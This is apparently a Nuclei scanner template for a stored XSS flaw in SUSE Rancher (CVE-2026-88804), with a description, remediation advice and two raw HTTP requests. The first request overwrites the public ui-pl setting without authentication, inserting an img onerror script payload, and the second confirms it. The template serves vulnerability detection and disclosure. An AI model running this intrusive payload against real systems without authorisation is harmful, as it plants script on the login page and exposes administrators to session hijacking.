SUSE Rancher - Stored XSS via Unauthenticated Settings Override

id: CVE-2026-88804

info:
  name: SUSE Rancher - Stored XSS via Unauthenticated Settings Override
  author: R0gfall
  severity: high
  description: |
    SUSE Rancher supports HTTP method override via the `_method` query parameter in the Norman API framework. Public UI settings routes were intended to be read-only for unauthenticated users, but the method override allows an unauthenticated attacker to perform PUT requests, modifying settings such as `ui-pl` (the product-line branding value). This value is rendered as raw HTML on the Rancher login page (`/dashboard/auth/login`) without sanitization, enabling stored cross-site scripting. Any user who subsequently opens the login page executes the attacker-controlled script in the Rancher origin, potentially leading to administrator session hijacking, bootstrap password disclosure, or full administrative control of the Rancher installation and its downstream clusters.
  impact: |
    An unauthenticated attacker with network access to the Rancher server can execute arbitrary JavaScript in the browser of any user who visits the login page, enabling session hijacking, credential theft, and full administrative takeover of the Rancher installation and managed clusters.
  remediation: |
    Update Rancher to version 2.15.2, 2.14.6, 2.13.10, 2.12.14, or 2.11.18 or newer. After upgrading, review the current values of public UI settings (ui-pl, first-login, ui-banners, ui-brand, ui-issues, ui-default-landing) and restore any unexpected values. Rotate the local administrator password and invalidate existing administrator tokens and sessions if tampering is suspected.
  reference:
    - https://github.com/rancher/rancher/security/advisories/GHSA-992f-xh8r-jg2f
    - https://nvd.nist.gov/vuln/detail/CVE-2026-88804
    - https://github.com/R0gfall/CVE-2026-88804
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
    cvss-score: 9.6
    cve-id: CVE-2026-88804
    epss-score: 0.00353
    epss-percentile: 0.29078
    cwe-id: CWE-79,CWE-862
  metadata:
    verified: false
    max-request: 2
    vendor: suse
    product: rancher
    shodan-query: http.title:"Rancher"
    fofa-query: title="Rancher"
  tags: cve,cve2026,rancher,suse,xss,stored-xss,intrusive

variables:
  boundary: "{{rand_text_alphanumeric(16)}}"
  marker: "{{rand_text_alphanumeric(12)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /v3/settings/ui-pl?_method=PUT HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----{{boundary}}

        ------{{boundary}}
        Content-Disposition: form-data; name="value"

        <img src=x onerror=alert('{{marker}}')>
        ------{{boundary}}--

    matchers:
      - type: word
        part: body
        words:
          - '"id":"ui-pl"'
          - "<img src=x onerror=alert('{{marker}}')"
        condition: and
        internal: true

  - raw:
      - |
        GET /v3/settings/ui-pl HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"id":"ui-pl"'
          - "<img src=x onerror=alert('{{marker}}')"
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502201d8549d4e554c26487ef9d899a457de8c19acefb3c50ad522294818a70da8408022100cf471abc6a2c193373a279b28691dc8339212327850507f881664e69818118ed:922c64590222798bb761d5b6d8e72950